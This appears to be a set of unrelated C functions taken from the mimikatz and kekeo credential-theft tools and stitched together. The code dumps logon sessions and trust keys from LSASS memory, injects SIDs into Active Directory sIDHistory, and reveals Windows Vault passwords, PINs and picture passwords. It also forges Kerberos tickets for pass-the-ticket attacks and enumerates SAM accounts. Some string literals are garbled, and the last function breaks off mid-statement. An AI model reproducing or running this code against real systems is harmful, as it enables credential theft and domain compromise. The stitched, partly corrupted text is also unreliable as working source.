void kuhl_m_sekurlsa_printinfos_logonData(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData) { kprintf(L"\nAuthentication Id : %u ; %u (%08x:%08x)\n" L"Session : %s from %u\n" L"User Name : %wZ\n" L"Domain : %wZ\n" L"SID : " , pData->LogonId->HighPart, pData->LogonId->LowPart, pData->LogonId->HighPart, pData->LogonId->LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[pData->LogonType], pData->Session, pData->UserName, pData->LogonDomain); if(pData->pSid) kull_m_string_displaySID(pData->pSid); kprintf(L"\n"); }
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[]) { PWSTR name, domain; PSID pSid; SID_NAME_USE nameUse; PCWCHAR szName, szSystem = NULL; kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL); if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL)) { if(ConvertStringSidToSid(szName, &pSid)) { kprintf(L"SID : %s\n", szName); if(IsValidSid(pSid)) { if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, &nameUse, szSystem)) { kprintf(L"Type : %s\n" L"Domain: %s\n" L"Name : %s\n", kull_m_token_getSidNameUse(nameUse), domain, name); LocalFree(name); LocalFree(domain); } else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID"); } else PRINT_ERROR(L"Invalid SID\n"); LocalFree(pSid); } else PRINT_ERROR_AUTO(L"ConvertStringSidToSid"); } else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL)) { kprintf(L"Name : %s\n", szName); if(kull_m_token_getSidDomainFromName(szName, &pSid, &domain, &nameUse, szSystem)) { kprintf(L"Type : %s\n" L"Domain: %s\n" L"SID : ", kull_m_token_getSidNameUse(nameUse), domain); kull_m_string_displaySID(pSid); kprintf(L"\n"); LocalFree(pSid); LocalFree(domain); } else PRINT_ERROR_AUTO(L"kull_m_token_getSidDomainFromName"); } else PRINT_ERROR(L"/sid or /name is missing\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_sid_add(int argc, wchar_t * argv[]) { PLDAP ld; DWORD dwErr; PCWCHAR szName; PWCHAR domain = NULL; PLDAPMessage pMessage = NULL; BERVAL NewSid; PBERVAL pNewSid[2] = {&NewSid, NULL}; LDAPMod Modification = {LDAP_MOD_ADD | LDAP_MOD_BVALUES, L"sIDHistory"}; PLDAPMod pModification[2] = {&Modification, NULL}; Modification.mod_vals.modv_bvals = pNewSid; if(kull_m_string_args_byName(argc, argv, L"new", &szName, NULL)) { if(ConvertStringSidToSid(szName, (PSID *) &NewSid.bv_val) || kull_m_token_getSidDomainFromName(szName, (PSID *) &NewSid.bv_val, &domain, NULL, NULL)) { if(IsValidSid((PSID) NewSid.bv_val)) { NewSid.bv_len = GetLengthSid((PSID) NewSid.bv_val); if(kuhl_m_sid_quickSearch(argc, argv, TRUE, NULL, &ld, &pMessage)) { kprintf(L"\n * Will try to add \'%s\' this new SID:\'", Modification.mod_type); kull_m_string_displaySID(NewSid.bv_val); kprintf(L"\': "); dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification); if(dwErr == LDAP_SUCCESS) kprintf(L"OK!\n"); else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr); if(pMessage) ldap_msgfree(pMessage); ldap_unbind(ld); } } else PRINT_ERROR(L"Invalid SID\n"); LocalFree(NewSid.bv_val); if(domain) LocalFree(domain); } else PRINT_ERROR_AUTO(L"ConvertStringSidToSid / kull_m_token_getSidDomainFromName"); } else PRINT_ERROR(L"/new:sid or /new:resolvable_name is needed"); return STATUS_SUCCESS; }
void kuhl_m_sekurlsa_trust_domaininfo(struct _KDC_DOMAIN_INFO * info) { if(kull_m_string_getUnicodeString(&info->FullDomainName, cLsass.hLsassMem)) { if(kull_m_string_getUnicodeString(&info->NetBiosName, cLsass.hLsassMem)) { kprintf(L"\nDomain: %wZ (%wZ", &info->FullDomainName, &info->NetBiosName); if(kull_m_string_getSid(&info->DomainSid, cLsass.hLsassMem)) { kprintf(L" / "); kull_m_string_displaySID(info->DomainSid); LocalFree(info->DomainSid); } kprintf(L")\n"); kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingAuthenticationKeys, L" Out ", FALSE, &info->FullDomainName); // Input keys are for Out relation ship... kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingAuthenticationKeys, L" In ", TRUE, &info->FullDomainName); kuhl_m_sekurlsa_trust_domainkeys(&info->IncomingPreviousAuthenticationKeys, L"Out-1", FALSE, &info->FullDomainName); kuhl_m_sekurlsa_trust_domainkeys(&info->OutgoingPreviousAuthenticationKeys, L" In-1", TRUE, &info->FullDomainName); LocalFree(info->NetBiosName.Buffer); } LocalFree(info->FullDomainName.Buffer); } }
void kuhl_m_vault_list_descItemData(PVAULT_ITEM_DATA pData) { if(pData) { switch(pData->Type) { case ElementType_UnsignedShort: kprintf(L"[USHORT] %hu", pData->data.UnsignedShort); break; case ElementType_UnsignedInteger: kprintf(L"[DWORD] %u", pData->data.UnsignedInt); break; case ElementType_String: kprintf(L"[STRING] %s", pData->data.String); break; case ElementType_ByteArray: kprintf(L"[BYTE*] "); kull_m_string_wprintf_hex(pData->data.ByteArray.Value, pData->data.ByteArray.Length, 1); break; case ElementType_Sid: kprintf(L"[SID] "); kull_m_string_displaySID(pData->data.Sid); break; case ElementType_Attribute: kprintf(L"[ATTRIBUTE]\n"); kprintf(L"\t\t Flags : %08x - %u\n", pData->data.Attribute->Flags, pData->data.Attribute->Flags); kprintf(L"\t\t Keyword : %s\n", pData->data.Attribute->Keyword); kprintf(L"\t\t Value : "); kull_m_string_printSuspectUnicodeString(pData->data.Attribute->Value, pData->data.Attribute->ValueSize); break; default: kprintf(L"[Type %2u] ", pData->Type); kull_m_string_wprintf_hex(&pData->data, 4, 1); } } }
void kuhl_m_dpapi_displayInfosAndFree(PVOID data, DWORD dataLen, PSID sid) { BYTE digest[SHA_DIGEST_LENGTH]; kprintf(L" key : "); kull_m_string_wprintf_hex(data, dataLen, 0); kprintf(L"\n"); if(kull_m_crypto_hash(CALG_SHA1, data, dataLen, digest, sizeof(digest))) { kprintf(L" sha1: "); kull_m_string_wprintf_hex(digest, sizeof(digest), 0); kprintf(L"\n"); } LocalFree(data); if(sid) { kprintf(L" sid : "); kull_m_string_displaySID(sid); kprintf(L"\n"); LocalFree(sid); } }
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage) { PLDAPMessage pEntry; PWCHAR pAttribute, name, domain; BerElement* pBer = NULL; PBERVAL *pBerVal; DWORD i; SID_NAME_USE nameUse; for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry)) { kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry)); for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer)) { kprintf(L" %s: ", pAttribute); if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute)) { if( (_wcsicmp(pAttribute, L"name") == 0) || (_wcsicmp(pAttribute, L"sAMAccountName") == 0) ) { kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val); } else if((_wcsicmp(pAttribute, L"objectSid") == 0)) { kull_m_string_displaySID(pBerVal[0]->bv_val); kprintf(L"\n"); } else if((_wcsicmp(pAttribute, L"objectGUID") == 0)) { kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val); kprintf(L"\n"); } else { for(i = 0; pBerVal[i]; i++) { kprintf(L"\n [%u] ", i); if((_wcsicmp(pAttribute, L"sIDHistory") == 0)) { kull_m_string_displaySID(pBerVal[i]->bv_val); if(kull_m_token_getNameDomainFromSID(pBerVal[i]->bv_val, &name, &domain, &nameUse, NULL)) { kprintf(L" ( %s -- %s\\%s )", kull_m_token_getSidNameUse(nameUse), domain, name); LocalFree(name); LocalFree(domain); } } else kull_m_string_wprintf_hex(pBerVal[i]->bv_val, pBerVal[i]->bv_len, 1); } kprintf(L"\n"); } ldap_value_free_len(pBerVal); } ldap_memfree(pAttribute); } if(pBer) ber_free(pBer, 0); } }
int main(int argc, char * argv[]) { EncryptionKey userKey; LPCSTR szUser, szDomain, szTarget, szService, szPassword = NULL, szKey = NULL, szSid, szRid, szKdc = NULL, szFilename = NULL; PSID sid = NULL, domainSid = NULL; DWORD ret, rid = 0; PDOMAIN_CONTROLLER_INFO cInfo = NULL; kprintf("\n" " .#####. " MIMIKATZ_FULL "\n" " .## ^ ##. \n" " ## / \\ ## /* * *\n" " ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n" " '## v ##' http://blog.gentilkiwi.com (oe.eo)\n" " '#####' ... with thanks to Tom Maddock & Sylvain Monne * * */\n\n"); if(init()) { if(!kull_m_string_args_byName(argc, argv, "ptt", NULL, NULL)) kull_m_string_args_byName(argc, argv, "ticket", &szFilename, TICKET_FILENAME); if(kull_m_string_args_byName(argc, argv, "target", &szTarget, NULL)) { if(kull_m_string_args_byName(argc, argv, "service", &szService, NULL)) { if(kull_m_string_args_byName(argc, argv, "user", &szUser, NULL)) { if(kull_m_string_args_byName(argc, argv, "domain", &szDomain, NULL)) { if(kull_m_string_args_byName(argc, argv, "key", &szKey, NULL) || kull_m_string_args_byName(argc, argv, "password", &szPassword, NULL)) { if(kull_m_string_args_byName(argc, argv, "aes256", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96; else if(kull_m_string_args_byName(argc, argv, "aes128", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96; else userKey.keytype = KERB_ETYPE_RC4_HMAC_NT; if(NT_SUCCESS(kull_m_kerberos_asn1_helper_util_stringToKey(szUser, szDomain, szPassword, szKey, &userKey))) { if(!kull_m_string_args_byName(argc, argv, "kdc", &szKdc, NULL)) { ret = DsGetDcName(NULL, szDomain, NULL, NULL, DS_IS_DNS_NAME | DS_RETURN_DNS_NAME, &cInfo); if(ret == ERROR_SUCCESS) { szKdc = cInfo->DomainControllerName + 2; kprintf("[KDC] \'%s\' will be the main server\n", szKdc); } else PRINT_ERROR("[KDC] DsGetDcName: %u\n", ret); } if(szKdc) { if(kull_m_string_args_byName(argc, argv, "sid", &szSid, NULL) && kull_m_string_args_byName(argc, argv, "rid", &szRid, NULL)) { if(ConvertStringSidToSid(szSid, &sid)) rid = strtoul(szRid, NULL, 0); else PRINT_ERROR_AUTO("ConvertStringSidToSid"); } if(!(sid && rid)) { if(szPassword) { #pragma warning(push) #pragma warning(disable:4996) impersonateToGetData(szUser, szDomain, szPassword, szKdc,&sid, &rid, _pgmptr); #pragma warning(pop) } else PRINT_ERROR("Impersonate is only supported with a password (you need KDC, SID & RID)\n"); } if(sid && rid) { kprintf("\n" "user : %s\n" "domain : %s\n" "password : %s\n" "sid : " , szUser, szDomain, szKey ? "<NULL>" : "***"); kull_m_string_displaySID(sid); kprintf("\n" "target : %s\n" "service : %s\n" "rid : %u\n" "key : " , szTarget, szService, rid); kull_m_string_printf_hex(userKey.keyvalue.value, userKey.keyvalue.length, 0); kprintf(" (%s)\n" "ticket : %s\n" , kull_m_kerberos_asn1_helper_util_etypeToString(userKey.keytype), szFilename ? szFilename : "** Pass The Ticket **"); if(szKdc) { kprintf("kdc : %s\n\n", szKdc); makeInception(szUser, szDomain, sid, rid, szTarget, szService, &userKey, szKdc, 88, szFilename); } else PRINT_ERROR("No KDC at all\n"); LocalFree(sid); } else PRINT_ERROR("Missing valid SID & RID (argument or auto)\n"); } else PRINT_ERROR("Missing one valid DC (argument or auto)\n"); if(cInfo) NetApiBufferFree(cInfo); LocalFree(userKey.keyvalue.value); } } else PRINT_ERROR("Missing password/key argument\n"); } else PRINT_ERROR("Missing domain argument\n"); } else PRINT_ERROR("Missing user argument\n"); } else PRINT_ERROR("Missing service argument\n"); } else PRINT_ERROR("Missing target argument\n"); } else PRINT_ERROR("init() failed\n"); term(); return 0; }
void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(const VAULT_GUID_STRING * pGuidString, PVOID enumItem, PVOID getItem, BOOL is8) { PVAULT_ITEM_8 enumItem8 = (PVAULT_ITEM_8) enumItem, getItem8 = (PVAULT_ITEM_8) getItem; PWSTR name, domain, sid, bgPath = NULL; UNICODE_STRING uString; DWORD i, dwError, szNeeded; PVAULT_PICTURE_PASSWORD_ELEMENT pElements; PVAULT_BIOMETRIC_ELEMENT bElements; PWCHAR bufferStart; HKEY hPicturePassword, hUserPicturePassword; if(enumItem8->Identity && (enumItem8->Identity->Type == ElementType_ByteArray)) { kprintf(L"\t\tUser : "******"\t\tUser : %s\\%s\n", domain, name); LocalFree(name); LocalFree(domain); } else kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); kprintf(L"\n"); if(pGuidString->guid.Data1 == 0x0b4b8a12b) { dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\\PicturePassword", 0, KEY_ENUMERATE_SUB_KEYS, &hPicturePassword); if(dwError == STATUS_SUCCESS) { if(ConvertSidToStringSid((PSID) enumItem8->Identity->data.ByteArray.Value, &sid)) { dwError = RegOpenKeyEx(hPicturePassword, sid, 0, KEY_QUERY_VALUE, &hUserPicturePassword); if(dwError == STATUS_SUCCESS) { dwError = RegQueryValueEx(hUserPicturePassword, L"bgPath", NULL, NULL, NULL, &szNeeded); if(dwError == STATUS_SUCCESS) { if(bgPath = (PWSTR) LocalAlloc(LPTR, szNeeded)) { dwError = RegQueryValueEx(hUserPicturePassword, L"bgPath", NULL, NULL, (LPBYTE) bgPath, &szNeeded); if(dwError != STATUS_SUCCESS) { PRINT_ERROR(L"RegQueryValueEx 2 : %08x\n", dwError); bgPath = (PWSTR) LocalFree(bgPath); } } } else PRINT_ERROR(L"RegQueryValueEx 1 : %08x\n", dwError); RegCloseKey(hUserPicturePassword); } else PRINT_ERROR(L"RegOpenKeyEx SID : %08x\n", dwError); LocalFree(sid); } else PRINT_ERROR_AUTO(L"ConvertSidToStringSid"); RegCloseKey(hPicturePassword); } else PRINT_ERROR(L"RegOpenKeyEx PicturePassword : %08x\n", dwError); } } if(getItem8 && getItem8->Authenticator && (getItem8->Authenticator->Type == ElementType_ByteArray)) { uString.Length = uString.MaximumLength = (USHORT) getItem8->Authenticator->data.ByteArray.Length; uString.Buffer = (PWSTR) getItem8->Authenticator->data.ByteArray.Value; kprintf(L"\t\tPassword : "******"%s", uString.Buffer); else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); kprintf(L"\n"); } if(enumItem8->Properties && (enumItem8->cbProperties > 0) && enumItem8->Properties + 0) { switch(pGuidString->guid.Data1) { case 0x0b2e033f5: // pin if((enumItem8->Properties + 0)->Type == ElementType_UnsignedShort) kprintf(L"\t\tPIN Code : %04hu\n", (enumItem8->Properties + 0)->data.UnsignedShort); break; case 0x0b4b8a12b: // picture if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { pElements = (PVAULT_PICTURE_PASSWORD_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; if(bgPath) { kprintf(L"\t\tBackground path : %s\n", bgPath); LocalFree(bgPath); } kprintf(L"\t\tPicture password (grid is 150*100)\n"); for(i = 0; i < 3; i++) { kprintf(L"\t\t [%u] ", i); switch(pElements[i].Type) { case PP_Point: kprintf(L"point (x = %3u ; y = %3u)", pElements[i].point.coord.x, pElements[i].point.coord.y); break; case PP_Circle: kprintf(L"circle (x = %3u ; y = %3u ; r = %3u) - %s", pElements[i].circle.coord.x, pElements[i].circle.coord.y, pElements[i].circle.size, (pElements[i].circle.clockwise ? L"clockwise" : L"anticlockwise")); break; case PP_Line: kprintf(L"line (x = %3u ; y = %3u) -> (x = %3u ; y = %3u)", pElements[i].line.start.x, pElements[i].line.start.y, pElements[i].line.end.x, pElements[i].line.end.y); break; default: kprintf(L"%u\n", pElements[i].Type); } kprintf(L"\n"); } } break; case 0x0fec87291: // biometric if((enumItem8->Properties + 0)->Type == ElementType_ByteArray) { bElements = (PVAULT_BIOMETRIC_ELEMENT) (enumItem8->Properties + 0)->data.ByteArray.Value; bufferStart = (PWCHAR) ((PBYTE) bElements + bElements->headersize); kprintf(L"\t\tProperty : "); if(bElements->domainnameLength > 1) kprintf(L"%.*s\\", bElements->domainnameLength - 1, bufferStart + bElements->usernameLength); if(bElements->usernameLength > 1) kprintf(L"%.*s", bElements->usernameLength - 1, bufferStart); kprintf(L"\n"); } break; default: kprintf(L"todo ?\n"); } } }
NTSTATUS kuhl_m_net_user(int argc, wchar_t * argv[]) { NTSTATUS status, enumDomainStatus, enumUserStatus; UNICODE_STRING serverName, *groupName; SAMPR_HANDLE hServerHandle, hBuiltinHandle = NULL, hDomainHandle, hUserHandle; DWORD domainEnumerationContext, domainCountRetourned, userEnumerationContext, userCountRetourned, groupsCountRetourned, i, j, k, *usage, aliasCountRetourned, *alias; PSAMPR_RID_ENUMERATION pEnumDomainBuffer, pEnumUsersBuffer; PSID domainSid, userSid; PGROUP_MEMBERSHIP pGroupMemberShip; SID builtin = {1, 1, {0, 0, 0, 0, 0, 5}, {32}}; RtlInitUnicodeString(&serverName, argc ? argv[0] : L""); status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE); if(NT_SUCCESS(status)) { status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, &builtin, &hBuiltinHandle); if(!NT_SUCCESS(status)) PRINT_ERROR(L"SamOpenDomain Builtin (?) %08x\n", status); domainEnumerationContext = 0; do { enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountRetourned); if(NT_SUCCESS(enumDomainStatus) || enumDomainStatus == STATUS_MORE_ENTRIES) { for(i = 0; i < domainCountRetourned; i++) { kprintf(L"\nDomain name : %wZ", &pEnumDomainBuffer[i].Name); status = SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &domainSid); if(NT_SUCCESS(status)) { kprintf(L"\nDomain SID : "); kull_m_string_displaySID(domainSid); status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, domainSid, &hDomainHandle); if(NT_SUCCESS(status)) { userEnumerationContext = 0; do { enumUserStatus = SamEnumerateUsersInDomain(hDomainHandle, &userEnumerationContext, 0/*UF_NORMAL_ACCOUNT*/, &pEnumUsersBuffer, 1, &userCountRetourned); if(NT_SUCCESS(enumUserStatus) || enumUserStatus == STATUS_MORE_ENTRIES) { for(j = 0; j < userCountRetourned; j++) { kprintf(L"\n %-5u %wZ", pEnumUsersBuffer[j].RelativeId, &pEnumUsersBuffer[j].Name); status = SamOpenUser(hDomainHandle, USER_READ_GROUP_INFORMATION | USER_LIST_GROUPS | USER_READ_ACCOUNT | USER_READ_LOGON | USER_READ_PREFERENCES | USER_READ_GENERAL, pEnumUsersBuffer[j].RelativeId, &hUserHandle); if(NT_SUCCESS(status)) { status = SamGetGroupsForUser(hUserHandle, &pGroupMemberShip, &groupsCountRetourned); if(NT_SUCCESS(status)) { for(k = 0; k < groupsCountRetourned; k++) { kprintf(L"\n | %-5u ", pGroupMemberShip[k].RelativeId); status = SamLookupIdsInDomain(hDomainHandle, 1, &pGroupMemberShip[k].RelativeId, &groupName, &usage); if(NT_SUCCESS(status)) { kprintf(L"%wZ", groupName); SamFreeMemory(groupName); SamFreeMemory(usage); } else PRINT_ERROR(L"SamLookupIdsInDomain %08x", status); } SamFreeMemory(pGroupMemberShip); } else PRINT_ERROR(L"SamGetGroupsForUser %08x", status); status = SamRidToSid(hUserHandle, pEnumUsersBuffer[j].RelativeId, &userSid); if(NT_SUCCESS(status)) { status = SamGetAliasMembership(hDomainHandle, 1, &userSid, &aliasCountRetourned, &alias); if(NT_SUCCESS(status)) { for(k = 0; k < aliasCountRetourned; k++) { kprintf(L"\n |`%-5u ", alias[k]); status = SamLookupIdsInDomain(hDomainHandle, 1, &alias[k], &groupName, &usage); if(NT_SUCCESS(status)) { kprintf(L"%wZ", groupName); SamFreeMemory(groupName); SamFreeMemory(usage); } else PRINT_ERROR(L"SamLookupIdsInDomain %08x", status); } SamFreeMemory(alias); } else PRINT_ERROR(L"SamGetAliasMembership %08x", status); if(hBuiltinHandle) { status = SamGetAliasMembership(hBuiltinHandle, 1, &userSid, &aliasCountRetourned, &alias); if(NT_SUCCESS(status)) { for(k = 0; k < aliasCountRetourned; k++) { kprintf(L"\n |´%-5u ", alias[k]); status = SamLookupIdsInDomain(hBuiltinHandle, 1, &alias[k], &groupName, &usage); if(NT_SUCCESS(status)) { kprintf(L"%wZ", groupName); SamFreeMemory(groupName); SamFreeMemory(usage); } else PRINT_ERROR(L"SamLookupIdsInDomain %08x", status); } SamFreeMemory(alias); } else PRINT_ERROR(L"SamGetAliasMembership %08x", status); } SamFreeMemory(userSid); } else PRINT_ERROR(L"SamRidToSid %08x", status); } else PRINT_ERROR(L"SamOpenUser %08x", status); } SamFreeMemory(pEnumUsersBuffer); } else PRINT_ERROR(L"SamEnumerateUsersInDomain %08x", enumUserStatus); } while(enumUserStatus == STATUS_MORE_ENTRIES); SamCloseHandle(hDomainHandle); } else PRINT_ERROR(L"SamOpenDomain %08x", status); SamFreeMemory(domainSid); } else PRINT_ERROR(L"SamLookupDomainInSamServer %08x", status); } SamFreeMemory(pEnumDomainBuffer); } else PRINT_ERROR(L"SamEnumerateDomainsInSamServer %08x\n", enumDomainStatus); kprintf(L"\n"); } while(enumDomainStatus == STATUS_MORE_ENTRIES); if(hBuiltinHandle) SamCloseHandle(hBuiltinHandle); SamCloseHandle(hServerHandle); } else PRINT_ERROR(L"SamConnect %08x\n", status); return ERROR_SUCCESS; }
NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[]) { PPACTYPE pacType; DWORD pacLenght, i, j; BYTE buffer[16] = {0}; PRPCE_KERB_VALIDATION_INFO pValInfo; PPAC_SIGNATURE_DATA pSignatureData; PPAC_CLIENT_INFO pClientInfo; PGROUP_MEMBERSHIP pGroup; PRPCE_KERB_EXTRA_SID pExtraSids; PSID pSid; PVOID base; if(kull_m_file_readData(L"C:\\security\\mimikatz\\mimikatz\\bad.pac", (PBYTE *) &pacType, &pacLenght)) { kprintf(L"version %u, nbBuffer = %u\n\n", pacType->Version, pacType->cBuffers); for(i = 0; i < pacType->cBuffers; i++) { switch(pacType->Buffers[i].ulType) { case PACINFO_TYPE_LOGON_INFO: pValInfo = (PRPCE_KERB_VALIDATION_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset); base = (PBYTE) &pValInfo->infos + sizeof(MARSHALL_KERB_VALIDATION_INFO); kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize); kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1 | (16 << 16)); kprintf(L"\n"); kprintf(L"*** Validation Informations *** (%u)\n", pacType->Buffers[i].cbBufferSize); kprintf(L"TypeHeader : version 0x%02x, endianness 0x%02x, length %hu (%u), filer %08x\n", pValInfo->typeHeader.Version, pValInfo->typeHeader.Endianness, pValInfo->typeHeader.CommonHeaderLength, sizeof(MARSHALL_KERB_VALIDATION_INFO), pValInfo->typeHeader.Filler); kprintf(L"PrivateHeader : length %u, filer %08x\n", pValInfo->privateHeader.ObjectBufferLength, pValInfo->privateHeader.Filler); kprintf(L"RootElementId : %08x\n\n", pValInfo->RootElementId); kprintf(L"LogonTime %016llx - ", pValInfo->infos.LogonTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.LogonTime); kprintf(L"\n"); kprintf(L"LogoffTime %016llx - ", pValInfo->infos.LogoffTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.LogoffTime); kprintf(L"\n"); kprintf(L"KickOffTime %016llx - ", pValInfo->infos.KickOffTime); kull_m_string_displayLocalFileTime(&pValInfo->infos.KickOffTime); kprintf(L"\n"); kprintf(L"PasswordLastSet %016llx - ", pValInfo->infos.PasswordLastSet); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordLastSet); kprintf(L"\n"); kprintf(L"PasswordCanChange %016llx - ", pValInfo->infos.PasswordCanChange); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordCanChange); kprintf(L"\n"); kprintf(L"PasswordMustChange %016llx - ", pValInfo->infos.PasswordMustChange); kull_m_string_displayLocalFileTime(&pValInfo->infos.PasswordMustChange); kprintf(L"\n"); kprintf(L"\n"); kuhl_m_kerberos_pac_ustring(L"EffectiveName ", &pValInfo->infos.EffectiveName, base); kuhl_m_kerberos_pac_ustring(L"FullName ", &pValInfo->infos.FullName, base); kuhl_m_kerberos_pac_ustring(L"LogonScript ", &pValInfo->infos.LogonScript, base); kuhl_m_kerberos_pac_ustring(L"ProfilePath ", &pValInfo->infos.ProfilePath, base); kuhl_m_kerberos_pac_ustring(L"HomeDirectory ", &pValInfo->infos.HomeDirectory, base); kuhl_m_kerberos_pac_ustring(L"HomeDirectoryDrive ", &pValInfo->infos.HomeDirectoryDrive, base); kprintf(L"\n"); kprintf(L"LogonCount %hu\n", pValInfo->infos.LogonCount); kprintf(L"BadPasswordCount %hu\n", pValInfo->infos.BadPasswordCount); kprintf(L"\n"); kprintf(L"UserId %08x (%u)\n", pValInfo->infos.UserId, pValInfo->infos.UserId); kprintf(L"PrimaryGroupId %08x (%u)\n", pValInfo->infos.PrimaryGroupId, pValInfo->infos.PrimaryGroupId); kprintf(L"\n"); kprintf(L"GroupCount %u\n", pValInfo->infos.GroupCount); pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.GroupIds, base); kprintf(L"GroupIds @ %08x\n * RID : ", pValInfo->infos.GroupIds); for(j = 0; j < pValInfo->infos.GroupCount; j++) kprintf(L"%u,", pGroup[j].RelativeId); //, pGroup[j].Attributes); kprintf(L"\n\n"); kprintf(L"UserFlags %08x (%u)\n", pValInfo->infos.UserFlags, pValInfo->infos.UserFlags); kprintf(L"UserSessionKey "); kull_m_string_wprintf_hex(pValInfo->infos.UserSessionKey.data, 16, 0); kprintf(L"\n"); kprintf(L"\n"); kuhl_m_kerberos_pac_ustring(L"LogonServer ", &pValInfo->infos.LogonServer, base); kuhl_m_kerberos_pac_ustring(L"LogonDomainName ", &pValInfo->infos.LogonDomainName, base); kprintf(L"\n"); pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.LogonDomainId, base); kprintf(L"LogonDomainId @ %08x\n * SID : ", pValInfo->infos.LogonDomainId); kull_m_string_displaySID(pSid); kprintf(L"\n"); kprintf(L"\n"); kprintf(L"UserAccountControl %08x (%u)\n", pValInfo->infos.UserAccountControl, pValInfo->infos.UserAccountControl); kprintf(L"SubAuthStatus %08x (%u)\n", pValInfo->infos.SubAuthStatus, pValInfo->infos.SubAuthStatus); kprintf(L"\n"); kprintf(L"LastSuccessfulILogon %016llx\n", pValInfo->infos.LastSuccessfulILogon); kprintf(L"LastFailedILogon %016llx\n", pValInfo->infos.LastFailedILogon); kprintf(L"\n"); kprintf(L"FailedILogonCount %u\n", pValInfo->infos.FailedILogonCount); kprintf(L"\n"); kprintf(L"SidCount %u\n", pValInfo->infos.SidCount); kprintf(L"ExtraSids @ %08x\n", pValInfo->infos.ExtraSids); pExtraSids = (PRPCE_KERB_EXTRA_SID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ExtraSids, base); for(j = 0; j < pValInfo->infos.SidCount; j++) {kull_m_string_wprintf_hex(pExtraSids, 64, 1); pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pExtraSids[j].ExtraSid, base); kprintf(L"ExtraSid [%u] @ %08x\n * SID : ", j, pExtraSids[j].ExtraSid); kull_m_string_displaySID(pSid); kprintf(L"\n"); } kprintf(L"\n"); pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupDomainSid, base); kprintf(L"ResourceGroupDomainSid @ %08x\n * SID : ", pValInfo->infos.ResourceGroupDomainSid); if(pSid) kull_m_string_displaySID(pSid); kprintf(L"\n"); kprintf(L"ResourceGroupCount %u\n", pValInfo->infos.ResourceGroupCount); pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupIds, base); kprintf(L"ResourceGroupIds @ %08x\n * RID : ", pValInfo->infos.ResourceGroupIds); for(j = 0; j < pValInfo->infos.ResourceGroupCount; j++) kprintf(L"%u,", pGroup[j].RelativeId); //, pGroup[j].Attributes); break; case PACINFO_TYPE_CHECKSUM_SRV: // Server Signature case PACINFO_TYPE_CHECKSUM_KDC: // KDC Signature pSignatureData = (PPAC_SIGNATURE_DATA) ((PBYTE) pacType + pacType->Buffers[i].Offset); kprintf(L"*** %s Signature ***\n", (pacType->Buffers[i].ulType == 0x00000006) ? L"Server" : L"KDC"); kprintf(L"Type %08x - (%hu) : ", pSignatureData->SignatureType, 0);//pSignatureData->RODCIdentifier); kull_m_string_wprintf_hex(pSignatureData->Signature, (pSignatureData->SignatureType == KERB_CHECKSUM_HMAC_MD5) ? LM_NTLM_HASH_LENGTH : 12, 0); kprintf(L"\n"); break; case PACINFO_TYPE_CNAME_TINFO: // Client name and ticket information pClientInfo = (PPAC_CLIENT_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset); kprintf(L"*** Client name and ticket information ***\n"); 